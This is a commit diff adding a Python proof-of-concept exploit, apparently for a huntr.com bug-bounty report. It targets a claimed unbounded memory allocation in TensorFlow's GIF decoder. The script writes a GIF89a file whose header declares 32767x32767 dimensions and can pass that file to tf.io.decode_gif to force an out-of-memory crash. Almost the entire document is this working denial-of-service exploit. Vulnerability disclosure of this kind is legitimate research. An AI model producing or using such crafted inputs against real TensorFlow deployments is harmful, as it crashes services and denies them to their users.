Upload poc_exploit.py with huggingface_hub

poc_exploit.py

@@ -0,0 +1,114 @@
+#!/usr/bin/env python3
+"""
+PoC: TensorFlow GIF Decoder Unbounded Memory Allocation (DoS)
+CVE: TBD | CWE-770 | CVSS 7.5
+
+Vulnerability:
+    tensorflow/core/kernels/image/decode_image_op.cc — DecodeGifV2 computes
+    total_pixels = num_frames * height * width * channels from GIF metadata
+    and allocates that many bytes WITHOUT any upper bound check.
+
+    Compare with DecodeBmpV2 in the SAME file which checks:
+        OP_REQUIRES(context, total_bytes < (1LL << 30),
+                    errors::InvalidArgument("BMP total bytes exceeds 2^30"));
+
+    GIF has NO equivalent check — attacker sets width/height in GIF header
+    to trigger multi-gigabyte allocation.
+
+Attack:
+    Craft a GIF89a file with Logical Screen Width/Height = 32767 (max uint16)
+    and num_frames = 1. Total allocation attempt: ~3 GB.
+    tf.io.decode_gif() on this file → OOM crash.
+
+Usage:
+    python3 poc_exploit.py              # generates malicious.gif
+    python3 poc_exploit.py --trigger    # also triggers via tf.io.decode_gif()
+
+Author: security research (huntr.com submission)
+"""
+
+import sys
+import os
+import struct
+
+OUTPUT_FILE = 'malicious_huge.gif'
+
+
+def create_malicious_gif(width: int = 32767, height: int = 32767) -> bytes:
+    """
+    Craft a minimal GIF89a file with huge declared dimensions.
+
+    GIF89a header format (first 13 bytes):
+        Bytes 0-2:  GIF signature 'GIF'
+        Bytes 3-5:  Version '89a'
+        Bytes 6-7:  Logical Screen Width (uint16 LE)
+        Bytes 8-9:  Logical Screen Height (uint16 LE)
+        Byte  10:   Packed field (Global Color Table Flag, etc.)
+        Byte  11:   Background Color Index
+        Byte  12:   Pixel Aspect Ratio
+
+    TF reads width/height from this header and calls:
+        allocate_output(0, TensorShape({num_frames, height, width, channels}))
+    """
+    # GIF89a signature + header
+    header = b'GIF89a'
+    header += struct.pack('<HH', width, height)   # width, height (huge!)
+    header += bytes([0x00,  # Packed: no global color table
+                     0x00,  # Background color index
+                     0x00]) # Pixel aspect ratio
+
+    # Minimal Image Descriptor (0x2C = Image Separator)
+    image_desc  = b'\x2C'               # Image Separator
+    image_desc += struct.pack('<HH', 0, 0)    # left, top
+    image_desc += struct.pack('<HH', width, height)  # width, height
+    image_desc += b'\x00'              # Packed: no local color table
+
+    # Minimal LZW data (1x1 transparent frame to keep it parseable)
+    min_lzw_code_size = b'\x02'  # LZW minimum code size
+    lzw_data = b'\x02\x4C\x01\x00'   # minimal valid LZW block
+    sub_block_terminator = b'\x00'
+
+    # GIF Trailer
+    trailer = b'\x3B'
+
+    payload = header + image_desc + min_lzw_code_size + lzw_data + sub_block_terminator + trailer
+
+    total_bytes_attempt = width * height * 3  # RGB
+    print(f"[*] Crafted malicious GIF89a:")
+    print(f"    Dimensions : {width} x {height} pixels")
+    print(f"    Channels   : 3 (RGB)")
+    print(f"    Alloc attempt: {total_bytes_attempt:,} bytes = {total_bytes_attempt/1e9:.2f} GB")
+    print(f"    File size  : {len(payload)} bytes (minimal header only)")
+    print(f"    BMP decoder: would REJECT (limit 2^30 = 1,073,741,824 bytes)")
+    print(f"    GIF decoder: NO LIMIT → allocates {total_bytes_attempt/1e9:.2f} GB")
+    return payload
+
+
+def main():
+    trigger = '--trigger' in sys.argv
+
+    payload = create_malicious_gif()
+    with open(OUTPUT_FILE, 'wb') as f:
+        f.write(payload)
+    print(f"[+] Malicious GIF written: {OUTPUT_FILE} ({os.path.getsize(OUTPUT_FILE)} bytes)")
+
+    if trigger:
+        print(f"\n[*] Triggering via tf.io.decode_gif('{OUTPUT_FILE}')...")
+        try:
+            import tensorflow as tf
+            print(f"    TensorFlow version: {tf.__version__}")
+            gif_bytes = open(OUTPUT_FILE, 'rb').read()
+            result = tf.io.decode_gif(gif_bytes)
+            print(f"[-] Unexpected success: shape={result.shape}")
+        except tf.errors.ResourceExhaustedError as e:
+            print(f"[+] CRASH CONFIRMED: ResourceExhaustedError (OOM) — {e}")
+        except MemoryError:
+            print(f"[+] CRASH CONFIRMED: Python MemoryError")
+        except Exception as e:
+            print(f"[~] Exception: {type(e).__name__}: {e}")
+    else:
+        print(f"\n[i] Run with --trigger to demonstrate the crash:")
+        print(f"    python3 {sys.argv[0]} --trigger")
+
+if __name__ == '__main__':
+    main()